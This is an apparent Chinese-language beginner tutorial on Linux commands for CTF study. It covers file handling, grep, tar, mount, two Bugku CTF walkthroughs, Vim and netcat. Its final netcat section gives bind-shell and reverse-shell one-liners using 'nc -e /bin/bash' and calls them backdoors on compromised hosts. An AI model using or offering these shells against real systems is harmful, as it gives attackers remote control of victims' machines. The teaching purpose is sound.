临渊阁

战战兢兢,如临深渊,如履薄冰

0%

Linux简单命令与工具

应ctf老师要求,遂作此文章一篇
为Linux新人参考,亦在此做一记录

Linux 常用命令

简介

Linux简介略

Kali简介略

  • neofech
  • nyancat
  • cmatrix

基础命令

文件和目录操作命令

cd:用来切换目录

pwd:显示当前目录的绝对路径

  • /是根目录
  • ~是当前用户文件夹
  • .表示当前目录
  • ..表示当前目录的上一级目录(父目录)
  • 绝对路径:以/开头
  • 相对路径:不加/,表示从你当前目录开始

ls:显示文件和目录

1
2
ls -a	# 列出所有文件和目录,包括隐藏文件和隐藏目录
ls -l # 显示权限等详细信息
  • 所有以点开头的是隐藏文件和隐藏文件夹
  • 身份顺序为:owner、group、others,权限顺序为:readable、writable、excutable。如:r-xr-x---的含义为拥有者可读、可执行,同一个群组下的用户,可读、可执行,其他人没有任何权限

chmod:更换文件或目录权限

1
2
chmod +x hack.py
./hack.py

mkdir:创建目录

touch:创建文件

rm:删除文件或者目录

1
rm -r dir		# 删除整个目录

mv:移动文件或目录

  • 也常用来修改文件名或目录名

cp:复制文件或目录

  • -r复制整个目录

tree:显示目录层次结构

1
tree -L 2 /		# 只显示两层目录

find:查找文件或目录

1
find . -name flag	# 查找名为flag的文件或目录

tar:打包压缩文件或解包解压缩文件

1
2
tar -zcvf file.tar.gz dir
tar -zxvf file.tar.gz
  • -c打包,-x解包
  • -v查看详细过程
  • -z用gzip压缩或者解压缩
  • -f指定包名

file:查看文件类型

文件内容相关

cat:查看文件内容

head:查看文件前10行

  • -n指定多少行

tail:查看文件最后10行

  • -n指定行数

more:分页查看文件

less:比more更高级,可以回溯,可以查找

grep:查找文件里符合条件的字符串

1
grep -r flag /		# 从根目录递归查找包含flag字符串的文件

管道|

1
cat file | grep flag
  • 将前面一条命令的输出,作为后一条命令的输入
  • 经常和管道一起使用的命令有:lessmoregrepwc

输入输出重定向<,>,>>

1
2
3
base64 < file
echo abcd > file
echo efgh >> file

系统相关命令

sudo:以最高权限身份(root)运行指令(输入密码时光标不会动)

su:切换身份

whoami:显示当前身份

apt:更新,下载,搜索,删除软件

1
2
3
4
sudo apt upgrade			# 获取更新
sudo apt update # 更新所有软件(先运行上面那个)
sudo apt install software # 安装软件
sudo apt search software # 搜索软件

ip:查看本地网络信息

1
ip addr			# 显示当前ip地址

top:查看系统进程运行状态

htoptop升级版

free:查看内存情况

1
free -h

uname:查看操作系统相关信息

1
uname -a

mount:挂载磁盘

ctf例题

两道bugku上面和linux相关的试题

linux - Bugku CTF

解压zip文件之后得到1.tar.gz,放到kali里面用tar再解压

image-20220311102436531

得到一个flag文件,用file命令查看文件类型

image-20220311105817589

ext3(相当于windows下的NTFS或者Fat32)格式的虚拟磁盘文件

mount命令挂载(先创建挂载目录,然后挂载到这个目录上)

image-20220311104734929

然后cat flag.txt就得到最终结果

image-20220311105741153

取消挂载用sudo umount a

Linux2 - Bugku CTF

解压zip得到brave文件,file命令查看详细信息

image-20220311105245681

mount挂载

image-20220311105601395

grep可以得到答案

image-20220311105657969

sudo umount b取消挂载

其他

快捷键

Tab:提示或自动补全,linux很多软件都支持

Ctrl+r:查找历史命令

Ctrl+a:跳到整个输入的最前面

Ctrl+e:跳到整个输入最后面

Ctrl+u:删除光标前的所有输入

终端代理

1
2
3
export http_proxy="http://172.21.16.1:7890"
export https_proxy="http://172.21.16.1:7890"
export https_proxy="socks5://172.24.176.1:7891"

帮助文档

这么多命令,这么多参数,肯定记不住

其实根本不用刻意去记,只要有个印象,用的时候用--helpman或者百度就行了

1
2
3
ls --help		# 查看帮助
man ls # 查看ls命令文档
man man # 查看man命令介绍
  • --help-h比较简略
  • man的内容比较详细

Linux一些小工具

Vim编辑器

普通模式(normal)

  • k,j,h,l分别是上下左右移动(也可以用键盘的上下左右)
  • 0跳转到行头
  • $跳转到行尾
  • G跳转到最后一行
  • gg跳转到第一行
  • u撤销修改
  • Ctrl+R恢复修改

插入模式(insert)

i,a,o都是进入插入模式

  • Esc退出插入模式(回到普通模式)
  • Ctrl+p自动补全

命令模式(command)

:进入命令模式

/word进入命令模式,并搜索关键字word

n继续查找下一个

  • w保存修改
  • q退出
  • set设置
1
2
set nu		# 显示行号
set ts=4 # 设置tab键长4个空格(默认8个)
  • help查看帮助文档

nc(网络界的瑞士军刀)

与端口建立连接

1
2
3
nc www.baidu.com 80		# 与百度建立HTTP连接,获取/页面
GET / HTTP/1.1
nc smtp.163.com 25 # 连接163邮箱

聊天,传文件

1
2
3
4
5
nc -l 7777		# 监听
nc ip 7777 # 连接

nc -l 7777 < file # 输入重定向
nc ip 7777 > file # 输出重定向

甚至可以用作后门

1
2
3
4
5
6
# 正向shell
nc -lvp 7777 -e /bin/bash # 监听7777端口
nc ip 7777 # 连接肉鸡7777端口
# 反向shell
nc -lvp 7777 # 监听7777端口,等待肉鸡主动连接
nc -e /bin/bash ip 7777 # 连接7777端口

wget,curl,git